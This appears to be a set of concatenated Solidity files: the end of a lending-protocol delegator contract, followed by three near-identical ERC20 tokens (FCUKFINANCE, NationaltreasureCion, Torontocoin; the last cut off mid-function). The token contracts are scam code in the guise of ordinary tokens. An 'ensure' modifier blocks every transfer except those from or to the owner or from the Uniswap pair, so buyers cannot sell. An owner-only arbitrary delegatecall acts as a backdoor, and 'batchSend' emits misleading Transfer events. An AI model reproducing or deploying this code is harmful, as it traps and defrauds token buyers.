tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint) { owner; spender; // Shh delegateToViewAndReturn(); } /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external view returns (uint) { owner; // Shh delegateToViewAndReturn(); } /** * @notice Get the underlying balance of the `owner` * @dev This also accrues interest in a transaction * @param owner The address of the account to query * @return The amount of underlying owned by `owner` */ function balanceOfUnderlying(address owner) external returns (uint) { owner; // Shh delegateAndReturn(); } /** * @notice Get a snapshot of the account's balances, and the cached exchange rate * @dev This is used by bController to more efficiently perform liquidity checks. * @param account Address of the account to snapshot * @return (possible error, token balance, borrow balance, exchange rate mantissa) */ function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) { account; // Shh delegateToViewAndReturn(); } /** * @notice Returns the current per-block borrow interest rate for this bToken * @return The borrow interest rate per block, scaled by 1e18 */ function borrowRatePerBlock() external view returns (uint) { delegateToViewAndReturn(); } /** * @notice Returns the current per-block supply interest rate for this bToken * @return The supply interest rate per block, scaled by 1e18 */ function supplyRatePerBlock() external view returns (uint) { delegateToViewAndReturn(); } /** * @notice Returns the current total borrows plus accrued interest * @return The total borrows with interest */ function totalBorrowsCurrent() external returns (uint) { delegateAndReturn(); } /** * @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex * @param account The address whose balance should be calculated after updating borrowIndex * @return The calculated balance */ function borrowBalanceCurrent(address account) external returns (uint) { account; // Shh delegateAndReturn(); } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return The calculated balance */ function borrowBalanceStored(address account) public view returns (uint) { account; // Shh delegateToViewAndReturn(); } /** * @notice Accrue interest then return the up-to-date exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateCurrent() public returns (uint) { delegateAndReturn(); } /** * @notice Calculates the exchange rate from the underlying to the BToken * @dev This function does not accrue interest before calculating the exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateStored() public view returns (uint) { delegateToViewAndReturn(); } /** * @notice Get cash balance of this bToken in the underlying asset * @return The quantity of underlying asset owned by this contract */ function getCash() external view returns (uint) { delegateToViewAndReturn(); } /** * @notice Applies accrued interest to total borrows and reserves. * @dev This calculates interest accrued from the last checkpointed block * up to the current block and writes new checkpoint to storage. */ function accrueInterest() public returns (uint) { delegateAndReturn(); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Will fail unless called by another bToken during the process of liquidation. * Its absolutely critical to use msg.sender as the borrowed bToken and not a parameter. * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of bTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint) { liquidator; borrower; seizeTokens; // Shh delegateAndReturn(); } /*** Admin Functions ***/ /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint) { newPendingAdmin; // Shh delegateAndReturn(); } /** * @notice Sets a new bController for the market * @dev Admin function to set a new bController * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setBController(BControllerInterface newBController) public returns (uint) { newBController; // Shh delegateAndReturn(); } /** * @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh * @dev Admin function to accrue interest and set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint) { newReserveFactorMantissa; // Shh delegateAndReturn(); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() external returns (uint) { delegateAndReturn(); } /** * @notice Accrues interest and adds reserves by transferring from admin * @param addAmount Amount of reserves to add * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReserves(uint addAmount) external returns (uint) { addAmount; // Shh delegateAndReturn(); } /** * @notice Accrues interest and reduces reserves by transferring to admin * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReserves(uint reduceAmount) external returns (uint) { reduceAmount; // Shh delegateAndReturn(); } /** * @notice Accrues interest and updates the interest rate model using _setInterestRateModelFresh * @dev Admin function to accrue interest and update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) { newInterestRateModel; // Shh delegateAndReturn(); } /** * @notice Internal method to delegate execution to another contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param callee The contract to delegatecall * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateTo(address callee, bytes memory data) internal returns (bytes memory) { (bool success, bytes memory returnData) = callee.delegatecall(data); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return returnData; } /** * @notice Delegates execution to the implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToImplementation(bytes memory data) public returns (bytes memory) { return delegateTo(implementation, data); } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop. * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) { (bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data)); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return abi.decode(returnData, (bytes)); } function delegateToViewAndReturn() private view returns (bytes memory) { (bool success, ) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", msg.data)); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(add(free_mem_ptr, 0x40), returndatasize) } } } function delegateAndReturn() private returns (bytes memory) { (bool success, ) = implementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(free_mem_ptr, returndatasize) } } } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts */ function () external payable { require(msg.value == 0,"BErc20WBTCDelegator:fallback: cannot send value to fallback"); // delegate all other functions to current implementation delegateAndReturn(); } }
DC1
pragma solidity ^0.5.17; /* ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄ ▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░▌ ▐░▌▐░░░░░░░░░░░▌▐░░▌ ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌ ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌▐░▌ ▐░▌ ▐░█▀▀▀▀▀▀▀▀▀ ▀▀▀▀█░█▀▀▀▀ ▐░▌░▌ ▐░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌░▌ ▐░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌ ▐░▌ ▐░▌▐░▌░▌ ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌ ▐░▌ ▐░▌ ▐░▌▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌ ▐░▌▐░▌ ▐░█▄▄▄▄▄▄▄▄▄ ▐░░░░░░░░░░░▌▐░▌ ▐░▌ ▐░▌▐░░▌ ▐░░░░░░░░░░░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░▌ ▐░▌ ▐░▌▐░▌ ▐░░░░░░░░░░░▌ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌ ▐░▌▐░▌░▌ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌ ▐░▌ ▐░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▐░▌ ▐░▌▐░▌ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌▐░▌ ▐░▌▐░▌ ▐░▌▐░▌▐░▌ ▐░▌ ▐░▌ ▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌ ▄ ▐░▌ ▄▄▄▄█░█▄▄▄▄ ▐░▌ ▐░▐░▌▐░▌ ▐░▌▐░▌ ▐░▐░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░▌▐░▌ ▐░░░░░░░░░░░▌▐░▌ ▐░░▌▐░▌ ▐░▌▐░▌ ▐░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀ ▀ ▀ ▀ ▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract FCUKFINANCE { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; /* National treasure Cion */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract NationaltreasureCion { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; /* Toronto coin */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract Torontocoin { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); 